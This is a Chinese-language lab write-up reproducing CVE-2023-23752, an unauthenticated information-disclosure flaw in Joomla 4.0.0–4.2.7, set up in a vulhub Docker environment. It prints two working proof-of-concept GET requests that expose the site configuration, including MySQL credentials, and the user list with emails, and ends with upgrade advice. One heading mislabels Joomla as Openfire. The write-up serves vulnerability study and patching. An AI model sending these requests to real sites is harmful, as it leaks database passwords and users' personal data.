CVE-2023-23752:Joomla未授权访问漏洞复现
前言
本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!
一.Openfire简介
Joomla是一个免费的开源内容管理系统(CMS),允许用户构建网站和在线应用程序。它于 2005 年首次发布,此后成为最受欢迎的 CMS 平台之一,为全球数百万个网站提供支持。
二.漏洞简述
在 Joomla! 4.0.0 到 4.2.7 中发现了一个问题。不正确地访问检查允许对 Web 服务终结点进行未经授权的访问。
三.漏洞原理
CVE-2023-23752 是身份验证绕过,导致 Joomla 信息泄露。
四.影响版本
4.0.0 <= Joomla <= 4.2.7
五.环境搭建
在kali的docker中搭建vulhub进行漏洞复现
clone项目:
sudo git clone https://github.com/vulhub/vulhub.git
在/joomla/CVE-2023-23752/目录,用下面的命令下载并启动:
sudo docker-compose up -d
搞定,查看环境:
sudo docker-compose ps
看到端口,这里是8080。
在浏览器上访问http://your-ip:8080
进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:
六.漏洞复现
Joomla 大致有三个路由入口,分别是:
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口,因此受影响范围为 Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)
1.漏洞利用
此问题是由属性覆盖问题引起的,攻击者可以使用 public=true 以绕过授权检查。
例如,通过以下POC1公开所有配置,包括MySQL用户名和密码:
POC1(GET)
http://your-ip:8080/api/index.php/v1/config/application?public=true
POC2(GET)
http://your-ip:8080/api/index.php/v1/users?public=true
通过以以上POC公开所有用户信息,包括电子邮件:
我们发现了用户信息以及用户电子邮件。
七.修复建议
目前官方已发布安全版本修复此漏洞,建议存在风险的用户及时升级到安全版本。
安全版本:Joomla >= 4.2.8
下载链接:
https://downloads.joomla.org/